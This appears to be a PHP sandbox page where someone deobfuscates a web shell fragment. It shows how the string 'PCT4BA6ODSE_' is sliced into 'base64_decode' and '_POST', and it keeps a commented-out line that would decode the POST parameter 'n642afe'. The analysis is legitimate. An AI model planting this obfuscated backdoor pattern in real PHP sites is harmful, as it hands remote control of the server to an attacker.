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run code in 200+ php & hhvm versions
Bugs & Features
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); var_dump($sF, $s21, $s20, "${$s20}['n642afe']"); //if (isset(${$s20}['n642afe'])) {var_dump($s21(${$s20}['n642afe']));} ?>
based on Br5oI
Output for 5.4.0 - 7.2.0
Notice: Array to string conversion in /in/gdb5t on line 7 string(12) "PCT4BA6ODSE_" string(13) "base64_decode" string(5) "_POST" string(16) "Array['n642afe']"
Output for 4.3.0 - 5.3.29
string(12) "PCT4BA6ODSE_" string(13) "base64_decode" string(5) "_POST" string(16) "Array['n642afe']"